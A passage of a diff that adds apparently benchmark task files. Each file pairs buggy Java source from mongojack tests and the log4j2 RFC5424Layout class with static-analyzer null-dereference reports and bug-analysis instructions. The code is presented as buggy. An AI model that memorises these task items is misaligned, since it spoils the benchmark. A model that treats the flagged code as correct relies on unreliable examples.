+        JacksonDBCollection<ObjectIdId, org.bson.types.ObjectId> coll = getCollection(ObjectIdId.class,
+                org.bson.types.ObjectId.class);
+
+        org.bson.types.ObjectId id = coll.insert(object).getSavedId();
+        ObjectIdId result = coll.findOneById(id);
+        assertThat(result._id, equalTo(id));
+    }
+
+    @Test
+    public void testObjectIdSaved() {
+        ObjectIdId object = new ObjectIdId();
+        org.bson.types.ObjectId id = new org.bson.types.ObjectId();
+        object._id = id;
+
+        JacksonDBCollection<ObjectIdId, org.bson.types.ObjectId> coll = getCollection(ObjectIdId.class,
+                org.bson.types.ObjectId.class);
+
+        coll.insert(object);
+        ObjectIdId result = coll.findOneById(id);
+        assertThat(result._id, equalTo(id));
+    }
+
+    public static class ObjectIdId {
+        public org.bson.types.ObjectId _id;
+    }
+
+    @Test
+    public void testObjectIdAnnotationOnStringGenerated() {
+        StringId object = new StringId();
+
+        JacksonDBCollection<StringId, String> coll = getCollection(StringId.class, String.class);
+
+        String id = coll.insert(object).getSavedId();
+        // Check that it's a valid object id
+        assertTrue(org.bson.types.ObjectId.isValid(id));
+        StringId result = coll.findOneById(id);
+        assertThat(result._id, equalTo(id));
+    }
+
+    @Test
+    public void testObjectIdAnnotationOnStringSaved() {
+        StringId object = new StringId();
+        String id = new org.bson.types.ObjectId().toString();
+        object._id = id;
+
+        JacksonDBCollection<StringId, String> coll = getCollection(StringId.class, String.class);
+
+        coll.insert(object);
+        StringId result = coll.findOneById(id);
+        assertThat(result._id, equalTo(id));
+    }
+
+    @Test
+    public void testRemoveByIdWithObjectId() {
+        JacksonDBCollection<StringId, String> coll = getCollection(StringId.class, String.class);
+        String id = coll.insert(new StringId()).getSavedId();
+        coll.insert(new StringId());
+        assertThat(coll.find().toArray(), hasSize(2));
+        coll.removeById(id);
+        List<StringId> results = coll.find().toArray();
+        assertThat(results, hasSize(1));
+        assertThat(results.get(0)._id, not(Matchers.equalTo(id)));
+    }
+
+    @Test
+    public void testFindOneByIdWithObjectId() {
+        JacksonDBCollection<StringId, String> coll = getCollection(StringId.class, String.class);
+        StringId object = new StringId();
+        net.vz.mongodb.jackson.WriteResult<StringId, String> writeResult = coll.insert(object);
+        assertThat(writeResult.getDbObject().get("_id"), instanceOf(org.bson.types.ObjectId.class));
+        String id = writeResult.getSavedId();
+        assertThat(id, instanceOf(String.class));
+        StringId result = coll.findOneById(id);
+        assertThat(result._id, Matchers.equalTo(id));
+    }
+
+    public static class StringId {
+        @ObjectId
+        public String _id;
+    }
+
+    @Test
+    public void testObjectIdAnnotationOnByteArrayGenerated() {
+        ByteArrayId object = new ByteArrayId();
+
+        JacksonDBCollection<ByteArrayId, byte[]> coll = getCollection(ByteArrayId.class, byte[].class);
+
+        byte[] id = coll.insert(object).getSavedId();
+        // Check that it's a valid object id, should be 12 bytes
+        assertEquals(12, id.length);
+        ByteArrayId result = coll.findOneById(id);
+        assertThat(result._id, equalTo(id));
+    }
+
+    @Test
+    public void testObjectIdAnnotationOnByteArraySaved() {
+        ByteArrayId object = new ByteArrayId();
+        byte[] id = new org.bson.types.ObjectId().toByteArray();
+        object._id = id;
+
+        JacksonDBCollection<ByteArrayId, byte[]> coll = getCollection(ByteArrayId.class, byte[].class);
+
+        coll.insert(object);
+        ByteArrayId result = coll.findOneById(id);
+        assertThat(result._id, equalTo(id));
+    }
+
+    public static class ByteArrayId {
+        @ObjectId
+        public byte[] _id;
+    }
+
+    @Test
+    public void testCollectionOfObjectIds() {
+        ObjectIdCollection object = new ObjectIdCollection();
+        object._id = "id";
+        object.list = Arrays.asList(org.bson.types.ObjectId.get(), org.bson.types.ObjectId.get());
+
+        JacksonDBCollection<ObjectIdCollection, String> coll = getCollection(ObjectIdCollection.class, String.class);
+        coll.insert(object);
+
+        ObjectIdCollection result = coll.findOneById("id");
+        assertThat(result.list, equalTo(object.list));
+    }
+
+    public static class ObjectIdCollection {
+        public String _id;
+        public List<org.bson.types.ObjectId> list;
+    }
+
+    @Test
+    public void testCollectionOfObjectIdStrings() {
+        StringIdCollection object = new StringIdCollection();
+        object._id = "id";
+        object.list = Arrays.asList(org.bson.types.ObjectId.get().toString(), org.bson.types.ObjectId.get().toString());
+
+        JacksonDBCollection<StringIdCollection, String> coll = getCollection(StringIdCollection.class, String.class);
+        coll.insert(object);
+
+        StringIdCollection result = coll.findOneById("id");
+        assertThat(result.list, equalTo(object.list));
+    }
+
+    public static class StringIdCollection {
+        public String _id;
+        @ObjectId
+        public List<String> list;
+    }
+
+    @Test
+    public void testCollectionOfObjectIdByteArrays() {
+        ByteArrayIdCollection object = new ByteArrayIdCollection();
+        object._id = "id";
+        object.list = Arrays.asList(org.bson.types.ObjectId.get().toByteArray(), org.bson.types.ObjectId.get().toByteArray());
+
+        JacksonDBCollection<ByteArrayIdCollection, String> coll = getCollection(ByteArrayIdCollection.class, String.class);
+        coll.insert(object);
+
+        ByteArrayIdCollection result = coll.findOneById("id");
+        assertThat(result.list, hasSize(2));
+        assertThat(result.list.get(0), equalTo(object.list.get(0)));
+        assertThat(result.list.get(1), equalTo(object.list.get(1)));
+    }
+
+    public static class ByteArrayIdCollection {
+        public String _id;
+        @ObjectId
+        public List<byte[]> list;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `result` last assigned on line 42 could be null and is dereferenced at line 43.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestObjectIdHandling.testObjectIdGenerated()
+
+### Procedure Id:
+net.vz.mongodb.jackson.TestObjectIdHandling.testObjectIdGenerated():void.abb55851fe01491e794651c259977707
+
+### File:
+src/test/java/net/vz/mongodb/jackson/TestObjectIdHandling.java
+
+### Key:
+TestObjectIdHandling.java|testObjectIdGenerated|NULL_DEREFERENCE
+
+### Node Key:
+2acc12e05b0902ef2ca0b1741f78fa6e
+
+### Hash:
+94ba7d4922162dcc652425b2c6aaf172
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7784/instruction.md b/inferredbugs-7784/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..9ebf0ace565ff7605f64e4d7f0f9d9ba2ede0437
--- /dev/null
+++ b/inferredbugs-7784/instruction.md
@@ -0,0 +1,320 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** mongojack
+**Bug ID:** 6
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2011 VZ Netzwerke Ltd
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package net.vz.mongodb.jackson;
+
+import org.junit.Ignore;
+import org.junit.Test;
+
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
+
+import static org.hamcrest.collection.IsCollectionWithSize.hasSize;
+import static org.hamcrest.core.IsEqual.equalTo;
+import static org.hamcrest.core.IsNull.notNullValue;
+import static org.junit.Assert.assertThat;
+
+public class TestDBRefHandling extends MongoDBTestBase {
+
+    @Test
+    public void simpleDbRefShouldBeSavedAsDbRef() {
+        JacksonDBCollection<Owner, String> coll = getCollection(Owner.class, String.class);
+        JacksonDBCollection<Referenced, String> refColl = getCollection(Referenced.class, String.class);
+
+        refColl.insert(new Referenced("hello", 10));
+        String id = coll.insert(new Owner(new DBRef<Referenced, String>("hello", refColl.getName()))).getSavedId();
+
+        Owner saved = coll.findOneById(id);
+        assertThat(saved.ref, notNullValue());
+        assertThat(saved.ref.getId(), equalTo("hello"));
+        assertThat(saved.ref.getCollectionName(), equalTo(refColl.getName()));
+
+        // Try loading it
+        Referenced ref = saved.ref.fetch();
+        assertThat(ref, notNullValue());
+        assertThat(ref._id, equalTo("hello"));
+        assertThat(ref.i, equalTo(10));
+    }
+
+    @Test
+    public void dbRefWithObjectIdShouldBeSavedAsDbRef() {
+        JacksonDBCollection<ObjectIdOwner, String> coll = getCollection(ObjectIdOwner.class, String.class);
+        JacksonDBCollection<ObjectIdReferenced, byte[]> refColl = getCollection(ObjectIdReferenced.class, byte[].class);
+
+        byte[] refId = refColl.insert(new ObjectIdReferenced(10)).getSavedId();
+        String id = coll.insert(new ObjectIdOwner(new DBRef<ObjectIdReferenced, byte[]>(refId, refColl.getName()))).getSavedId();
+
+        ObjectIdOwner saved = coll.findOneById(id);
+        assertThat(saved.ref, notNullValue());
+        assertThat(saved.ref.getId(), equalTo(refId));
+        assertThat(saved.ref.getCollectionName(), equalTo(refColl.getName()));
+
+        // Try loading it
+        ObjectIdReferenced ref = saved.ref.fetch();
+        assertThat(ref, notNullValue());
+        assertThat(ref._id, equalTo(refId));
+        assertThat(ref.i, equalTo(10));
+    }
+
+    @Test
+    public void testUsingMongoCollectionAnnotation() {
+        JacksonDBCollection<Owner, String> coll = getCollection(Owner.class, String.class);
+        JacksonDBCollection<Referenced, String> refColl = getCollection(Referenced.class, String.class, "referenced");
+
+        refColl.insert(new Referenced("hello", 10));
+        String id = coll.insert(new Owner(new DBRef<Referenced, String>("hello", Referenced.class))).getSavedId();
+
+        Owner saved = coll.findOneById(id);
+        assertThat(saved.ref, notNullValue());
+        assertThat(saved.ref.getId(), equalTo("hello"));
+        assertThat(saved.ref.getCollectionName(), equalTo("referenced"));
+
+        // Try loading it
+        Referenced ref = saved.ref.fetch();
+        assertThat(ref, notNullValue());
+        assertThat(ref._id, equalTo("hello"));
+        assertThat(ref.i, equalTo(10));
+    }
+
+    public static class Owner {
+        public Owner(DBRef<Referenced, String> ref) {
+            this.ref = ref;
+        }
+
+        public Owner() {
+        }
+
+        @ObjectId
+        public String _id;
+        public DBRef<Referenced, String> ref;
+    }
+
+    @MongoCollection(name = "referenced")
+    public static class Referenced {
+        public Referenced(String _id, int i) {
+            this._id = _id;
+            this.i = i;
+        }
+
+        public Referenced() {
+        }
+
+        public String _id;
+        public int i;
+    }
+
+    public static class ObjectIdOwner {
+        public ObjectIdOwner(DBRef<ObjectIdReferenced, byte[]> ref) {
+            this.ref = ref;
+        }
+
+        public ObjectIdOwner() {
+        }
+
+        @ObjectId
+        public String _id;
+        @ObjectId
+        public DBRef<ObjectIdReferenced, byte[]> ref;
+    }
+
+    public static class ObjectIdReferenced {
+        public ObjectIdReferenced(int i) {
+            this.i = i;
+        }
+
+        public ObjectIdReferenced() {
+        }
+
+        @ObjectId
+        public byte[] _id;
+        public int i;
+    }
+
+    @Test
+    public void collectionOfDbRefsShouldBeSavedAsDbRefs() {
+        JacksonDBCollection<CollectionOwner, String> coll = getCollection(CollectionOwner.class, String.class);
+        JacksonDBCollection<Referenced, String> refColl = getCollection(Referenced.class, String.class, "referenced");
+
+        refColl.insert(new Referenced("hello", 10));
+        refColl.insert(new Referenced("world", 20));
+
+        CollectionOwner owner = new CollectionOwner();
+        owner.list = Arrays.asList(new DBRef<Referenced, String>("hello", refColl.getName()), new DBRef<Referenced, String>("world", refColl.getName()));
+        owner._id = "foo";
+        coll.insert(owner);
+
+        CollectionOwner saved = coll.findOneById("foo");
+        assertThat(saved.list, notNullValue());
+        assertThat(saved.list, hasSize(2));
+        assertThat(saved.list.get(0).getId(), equalTo("hello"));
+        assertThat(saved.list.get(0).getCollectionName(), equalTo(refColl.getName()));
+        assertThat(saved.list.get(1).getId(), equalTo("world"));
+        assertThat(saved.list.get(1).getCollectionName(), equalTo(refColl.getName()));
+
+        // Try loading them
+        Referenced ref = saved.list.get(0).fetch();
+        assertThat(ref, notNullValue());
+        assertThat(ref._id, equalTo("hello"));
+        assertThat(ref.i, equalTo(10));
+
+        ref = saved.list.get(1).fetch();
+        assertThat(ref, notNullValue());
+        assertThat(ref._id, equalTo("world"));
+        assertThat(ref.i, equalTo(20));
+    }
+
+    @Test
+    public void fetchCollectionOfDBRefsShouldReturnRightResults() {
+        JacksonDBCollection<CollectionOwner, String> coll = getCollection(CollectionOwner.class, String.class);
+        JacksonDBCollection<Referenced, String> refColl = getCollection(Referenced.class, String.class, "referenced");
+
+        refColl.insert(new Referenced("hello", 10));
+        refColl.insert(new Referenced("world", 20));
+
+        CollectionOwner owner = new CollectionOwner();
+        owner.list = Arrays.asList(new DBRef<Referenced, String>("hello", refColl.getName()), new DBRef<Referenced, String>("world", refColl.getName()));
+        owner._id = "foo";
+        coll.insert(owner);
+
+        CollectionOwner saved = coll.findOneById("foo");
+        List<Referenced> fetched = coll.fetch(saved.list);
+        assertThat(fetched, hasSize(2));
+        assertThat(fetched.get(0)._id, equalTo("hello"));
+        assertThat(fetched.get(0).i, equalTo(10));
+        assertThat(fetched.get(1)._id, equalTo("world"));
+        assertThat(fetched.get(1).i, equalTo(20));
+    }
+
+    public static class CollectionOwner {
+        public String _id;
+        public List<DBRef<Referenced, String>> list;
+    }
+
+    @Test
+    public void collectionOfObjectIdDbRefsShouldBeSavedAsObjectIdDbRefs() {
+        JacksonDBCollection<ObjectIdCollectionOwner, String> coll = getCollection(ObjectIdCollectionOwner.class, String.class);
+        JacksonDBCollection<ObjectIdReferenced, byte[]> refColl = getCollection(ObjectIdReferenced.class, byte[].class, "referenced");
+
+        byte[] refId1 = refColl.insert(new ObjectIdReferenced(10)).getSavedId();
+        byte[] refId2 = refColl.insert(new ObjectIdReferenced(20)).getSavedId();
+
+        ObjectIdCollectionOwner owner = new ObjectIdCollectionOwner();
+        owner.list = Arrays.asList(new DBRef<ObjectIdReferenced, byte[]>(refId1, refColl.getName()), new DBRef<ObjectIdReferenced, byte[]>(refId2, refColl.getName()));
+        owner._id = "foo";
+        coll.insert(owner);
+
+        ObjectIdCollectionOwner saved = coll.findOneById("foo");
+        assertThat(saved.list, notNullValue());
+        assertThat(saved.list, hasSize(2));
+        assertThat(saved.list.get(0).getId(), equalTo(refId1));
+        assertThat(saved.list.get(0).getCollectionName(), equalTo(refColl.getName()));
+        assertThat(saved.list.get(1).getId(), equalTo(refId2));
+        assertThat(saved.list.get(1).getCollectionName(), equalTo(refColl.getName()));
+
+
+        // Try loading them
+        ObjectIdReferenced ref = saved.list.get(0).fetch();
+        assertThat(ref, notNullValue());
+        assertThat(ref._id, equalTo(refId1));
+        assertThat(ref.i, equalTo(10));
+
+        ref = saved.list.get(1).fetch();
+        assertThat(ref, notNullValue());
+        assertThat(ref._id, equalTo(refId2));
+        assertThat(ref.i, equalTo(20));
+    }
+
+    public static class ObjectIdCollectionOwner {
+        public String _id;
+        @ObjectId
+        public List<DBRef<ObjectIdReferenced, byte[]>> list;
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `saved` last assigned on line 80 could be null and is dereferenced at line 81.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestDBRefHandling.testUsingMongoCollectionAnnotation()
+
+### Procedure Id:
+net.vz.mongodb.jackson.TestDBRefHandling.testUsingMongoCollectionAnnotation():void.e095220ffb1eb9766119b119aed8f322
+
+### File:
+src/test/java/net/vz/mongodb/jackson/TestDBRefHandling.java
+
+### Key:
+TestDBRefHandling.java|testUsingMongoCollectionAnnotation|NULL_DEREFERENCE
+
+### Node Key:
+d887119113509058883b021107809049
+
+### Hash:
+2809f5d5476d1a14136e92147904d9bb
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7851/instruction.md b/inferredbugs-7851/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..567e581ce70b1a474214bc1f5c5d2498508999e1
--- /dev/null
+++ b/inferredbugs-7851/instruction.md
@@ -0,0 +1,793 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** logging-log4j2
+**Bug ID:** 27
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache license, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the license for the specific language governing permissions and
+ * limitations under the license.
+ */
+package org.apache.logging.log4j.core.layout;
+
+import java.nio.charset.Charset;
+import java.util.ArrayList;
+import java.util.Calendar;
+import java.util.GregorianCalendar;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.SortedMap;
+import java.util.TreeMap;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import org.apache.logging.log4j.Level;
+import org.apache.logging.log4j.LoggingException;
+import org.apache.logging.log4j.core.LogEvent;
+import org.apache.logging.log4j.core.appender.TLSSyslogFrame;
+import org.apache.logging.log4j.core.config.Configuration;
+import org.apache.logging.log4j.core.config.plugins.Plugin;
+import org.apache.logging.log4j.core.config.plugins.PluginAttribute;
+import org.apache.logging.log4j.core.config.plugins.PluginConfiguration;
+import org.apache.logging.log4j.core.config.plugins.PluginElement;
+import org.apache.logging.log4j.core.config.plugins.PluginFactory;
+import org.apache.logging.log4j.core.helpers.Booleans;
+import org.apache.logging.log4j.core.helpers.Charsets;
+import org.apache.logging.log4j.core.helpers.Integers;
+import org.apache.logging.log4j.core.helpers.NetUtils;
+import org.apache.logging.log4j.core.helpers.Strings;
+import org.apache.logging.log4j.core.net.Facility;
+import org.apache.logging.log4j.core.net.Priority;
+import org.apache.logging.log4j.core.pattern.LogEventPatternConverter;
+import org.apache.logging.log4j.core.pattern.PatternConverter;
+import org.apache.logging.log4j.core.pattern.PatternFormatter;
+import org.apache.logging.log4j.core.pattern.PatternParser;
+import org.apache.logging.log4j.core.pattern.ThrowablePatternConverter;
+import org.apache.logging.log4j.message.Message;
+import org.apache.logging.log4j.message.StructuredDataId;
+import org.apache.logging.log4j.message.StructuredDataMessage;
+
+
+/**
+ * Formats a log event in accordance with RFC 5424.
+ *
+ * @see <a href="https://tools.ietf.org/html/rfc5424">RFC 5424</a>
+ */
+@Plugin(name = "RFC5424Layout", category = "Core", elementType = "layout", printObject = true)
+public class RFC5424Layout extends AbstractStringLayout {
+
+    private static final String LF = "\n";
+
+    /**
+     * Not a very good default - it is the Apache Software Foundation's enterprise number.
+     */
+    public static final int DEFAULT_ENTERPRISE_NUMBER = 18060;
+    /**
+     * The default event id.
+     */
+    public static final String DEFAULT_ID = "Audit";
+    /**
+     * Match newlines in a platform-independent manner.
+     */
+    public static final Pattern NEWLINE_PATTERN = Pattern.compile("\\r?\\n");
+    /**
+     * Match characters which require escaping
+     */
+    public static final Pattern PARAM_VALUE_ESCAPE_PATTERN = Pattern.compile("[\\\"\\]\\\\]");
+
+    protected static final String DEFAULT_MDCID = "mdc";
+    private static final int TWO_DIGITS = 10;
+    private static final int THREE_DIGITS = 100;
+    private static final int MILLIS_PER_MINUTE = 60000;
+    private static final int MINUTES_PER_HOUR = 60;
+
+    private static final String COMPONENT_KEY = "RFC5424-Converter";
+
+    private final Facility facility;
+    private final String defaultId;
+    private final int enterpriseNumber;
+    private final boolean includeMDC;
+    private final String mdcId;
+    private final StructuredDataId mdcSDID;
+    private final String localHostName;
+    private final String appName;
+    private final String messageId;
+    private final String configName;
+    private final String mdcPrefix;
+    private final String eventPrefix;
+    private final List<String> mdcExcludes;
+    private final List<String> mdcIncludes;
+    private final List<String> mdcRequired;
+    private final ListChecker checker;
+    private final ListChecker noopChecker = new NoopChecker();
+    private final boolean includeNewLine;
+    private final String escapeNewLine;
+    private final boolean useTLSMessageFormat;
+
+    private long lastTimestamp = -1;
+    private String timestamppStr;
+
+    private final List<PatternFormatter> exceptionFormatters;
+    private final Map<String,  FieldFormatter> fieldFormatters;
+
+    private RFC5424Layout(final Configuration config, final Facility facility, final String id, final int ein,
+                          final boolean includeMDC, final boolean includeNL, final String escapeNL, final String mdcId,
+                          final String mdcPrefix, final String eventPrefix,
+                          final String appName, final String messageId, final String excludes, final String includes,
+                          final String required, final Charset charset, final String exceptionPattern,
+                          final boolean useTLSMessageFormat, final LoggerFields[] loggerFields) {
+        super(charset);
+        final PatternParser exceptionParser = createPatternParser(config, ThrowablePatternConverter.class);
+        exceptionFormatters = exceptionPattern == null ? null : exceptionParser.parse(exceptionPattern, false);
+        this.facility = facility;
+        this.defaultId = id == null ? DEFAULT_ID : id;
+        this.enterpriseNumber = ein;
+        this.includeMDC = includeMDC;
+        this.includeNewLine = includeNL;
+        this.escapeNewLine = escapeNL == null ? null : Matcher.quoteReplacement(escapeNL);
+        this.mdcId = mdcId;
+        this.mdcSDID = new StructuredDataId(mdcId, enterpriseNumber, null, null);
+        this.mdcPrefix = mdcPrefix;
+        this.eventPrefix = eventPrefix;
+        this.appName = appName;
+        this.messageId = messageId;
+        this.useTLSMessageFormat = useTLSMessageFormat;
+        this.localHostName = NetUtils.getLocalHostname();
+        ListChecker c = null;
+        if (excludes != null) {
+            final String[] array = excludes.split(",");
+            if (array.length > 0) {
+                c = new ExcludeChecker();
+                mdcExcludes = new ArrayList<String>(array.length);
+                for (final String str : array) {
+                    mdcExcludes.add(str.trim());
+                }
+            } else {
+                mdcExcludes = null;
+            }
+        } else {
+            mdcExcludes = null;
+        }
+        if (includes != null) {
+            final String[] array = includes.split(",");
+            if (array.length > 0) {
+                c = new IncludeChecker();
+                mdcIncludes = new ArrayList<String>(array.length);
+                for (final String str : array) {
+                    mdcIncludes.add(str.trim());
+                }
+            } else {
+                mdcIncludes = null;
+            }
+        } else {
+            mdcIncludes = null;
+        }
+        if (required != null) {
+            final String[] array = required.split(",");
+            if (array.length > 0) {
+                mdcRequired = new ArrayList<String>(array.length);
+                for (final String str : array) {
+                    mdcRequired.add(str.trim());
+                }
+            } else {
+                mdcRequired = null;
+            }
+
+        } else {
+            mdcRequired = null;
+        }
+        this.checker = c != null ? c : noopChecker;
+        final String name = config == null ? null : config.getName();
+        configName = name != null && name.length() > 0 ? name : null;
+        this.fieldFormatters = createFieldFormatters(loggerFields, config);
+    }
+
+    private Map<String, FieldFormatter> createFieldFormatters(final LoggerFields[] loggerFields,
+            final Configuration config) {
+        final Map<String, FieldFormatter> sdIdMap = new HashMap<String, FieldFormatter>();
+
+        if (loggerFields != null) {
+            for (final LoggerFields lField : loggerFields) {
+                final StructuredDataId key = lField.getSdId() == null ? mdcSDID : lField.getSdId();
+                final Map<String, List<PatternFormatter>> sdParams = new HashMap<String, List<PatternFormatter>>();
+                final Map<String, String> fields = lField.getMap();
+                if (!fields.isEmpty()) {
+                    final PatternParser fieldParser = createPatternParser(config, null);
+
+                    for (final Map.Entry<String, String> entry : fields.entrySet()) {
+                        final List<PatternFormatter> formatters = fieldParser.parse(entry.getValue(), false);
+                        sdParams.put(entry.getKey(), formatters);
+                    }
+                    final FieldFormatter fieldFormatter = new FieldFormatter(sdParams,
+                            lField.getDiscardIfAllFieldsAreEmpty());
+                    sdIdMap.put(key.toString(), fieldFormatter);
+                }
+            }
+        }
+        return sdIdMap.size() > 0 ? sdIdMap : null;
+    }
+
+    /**
+     * Create a PatternParser.
+     *
+     * @param config The Configuration.
+     * @param filterClass Filter the returned plugins after calling the plugin manager.
+     * @return The PatternParser.
+     */
+    private static PatternParser createPatternParser(final Configuration config,
+            final Class<? extends PatternConverter> filterClass) {
+        if (config == null) {
+            return new PatternParser(config, PatternLayout.KEY, LogEventPatternConverter.class, filterClass);
+        }
+        PatternParser parser = config.getComponent(COMPONENT_KEY);
+        if (parser == null) {
+            parser = new PatternParser(config, PatternLayout.KEY, ThrowablePatternConverter.class);
+            config.addComponent(COMPONENT_KEY, parser);
+            parser = (PatternParser) config.getComponent(COMPONENT_KEY);
+        }
+        return parser;
+    }
+
+    /**
+     * RFC5424Layout's content format is specified by:<p/>
+     * Key: "structured" Value: "true"<p/>
+     * Key: "format" Value: "RFC5424"<p/>
+     *
+     * @return Map of content format keys supporting RFC5424Layout
+     */
+    @Override
+    public Map<String, String> getContentFormat() {
+        final Map<String, String> result = new HashMap<String, String>();
+        result.put("structured", "true");
+        result.put("formatType", "RFC5424");
+        return result;
+    }
+
+    /**
+     * Formats a {@link org.apache.logging.log4j.core.LogEvent} in conformance with the RFC 5424 Syslog specification.
+     *
+     * @param event The LogEvent.
+     * @return The RFC 5424 String representation of the LogEvent.
+     */
+    @Override
+    public String toSerializable(final LogEvent event) {
+        final StringBuilder buf = new StringBuilder();
+        appendPriority(buf, event.getLevel());
+        appendTimestamp(buf, event.getMillis());
+        appendSpace(buf);
+        appendHostName(buf);
+        appendSpace(buf);
+        appendAppName(buf);
+        appendSpace(buf);
+        appendProcessId(buf);
+        appendSpace(buf);
+        appendMessageId(buf, event.getMessage());
+        appendSpace(buf);
+        appendStructuredElements(buf, event);
+        appendMessage(buf, event);
+        if (useTLSMessageFormat) {
+            return new TLSSyslogFrame(buf.toString()).toString();
+        }
+        return buf.toString();
+    }
+
+    private void appendPriority(final StringBuilder buffer, final Level logLevel) {
+        buffer.append("<");
+        buffer.append(Priority.getPriority(facility, logLevel));
+        buffer.append(">1 ");
+    }
+
+    private void appendTimestamp(final StringBuilder buffer, final long milliseconds)  {
+        buffer.append(computeTimeStampString(milliseconds));
+    }
+
+    private void appendSpace(final StringBuilder buffer) {
+        buffer.append(" ");
+    }
+
+    private void appendHostName(final StringBuilder buffer) {
+        buffer.append(localHostName);
+    }
+
+    private void appendAppName(final StringBuilder buffer) {
+        if (appName != null) {
+            buffer.append(appName);
+        } else if (configName != null) {
+            buffer.append(configName);
+        } else {
+            buffer.append("-");
+        }
+    }
+
+    private void appendProcessId(final StringBuilder buffer) {
+        buffer.append(getProcId());
+    }
+
+    private void appendMessageId(final StringBuilder buffer, final Message message) {
+        final boolean isStructured = message instanceof StructuredDataMessage;
+        final String type = isStructured ? ((StructuredDataMessage) message).getType() : null;
+        if (type != null) {
+            buffer.append(type);
+        } else if (messageId != null) {
+            buffer.append(messageId);
+        } else {
+            buffer.append("-");
+        }
+    }
+
+    private void appendMessage(final StringBuilder buffer, final LogEvent event) {
+        final Message message = event.getMessage();
+        final String text = message.getFormat();
+
+        if (text != null && text.length() > 0) {
+            buffer.append(" ").append(escapeNewlines(text, escapeNewLine));
+        }
+
+        if (exceptionFormatters != null && event.getThrown() != null) {
+            final StringBuilder exception = new StringBuilder(LF);
+            for (final PatternFormatter formatter : exceptionFormatters) {
+                formatter.format(event, exception);
+            }
+            buffer.append(escapeNewlines(exception.toString(), escapeNewLine));
+        }
+        if (includeNewLine) {
+            buffer.append(LF);
+        }
+    }
+
+    private void appendStructuredElements(final StringBuilder buffer, final LogEvent event) {
+        final Message message = event.getMessage();
+        final boolean isStructured = message instanceof StructuredDataMessage;
+
+        if (!isStructured && (fieldFormatters!= null && fieldFormatters.size() == 0) && !includeMDC) {
+            buffer.append("-");
+            return;
+        }
+
+        final Map<String, StructuredDataElement> sdElements = new HashMap<String, StructuredDataElement>();
+        final Map<String, String> contextMap = event.getContextMap();
+
+        if (mdcRequired != null) {
+            checkRequired(contextMap);
+        }
+
+        if (fieldFormatters != null) {
+            for (final Map.Entry<String, FieldFormatter> sdElement: fieldFormatters.entrySet()) {
+                final String sdId = sdElement.getKey();
+                final StructuredDataElement elem = sdElement.getValue().format(event);
+                sdElements.put(sdId, elem);
+            }
+        }
+
+        if (includeMDC && contextMap.size() > 0) {
+            if (sdElements.containsKey(mdcSDID.toString())) {
+                final StructuredDataElement union = sdElements.get(mdcSDID.toString());
+                union.union(contextMap);
+                sdElements.put(mdcSDID.toString(), union);
+            } else {
+                final StructuredDataElement formattedContextMap = new StructuredDataElement(contextMap, false);
+                sdElements.put(mdcSDID.toString(), formattedContextMap);
+            }
+        }
+
+        if (isStructured) {
+            final StructuredDataMessage data = (StructuredDataMessage) message;
+            final Map<String, String> map = data.getData();
+            final StructuredDataId id = data.getId();
+
+            if (sdElements.containsKey(id.toString())) {
+                final StructuredDataElement union = sdElements.get(id.toString());
+                union.union(map);
+                sdElements.put(id.toString(), union);
+            } else {
+                final StructuredDataElement formattedData = new StructuredDataElement(map, false);
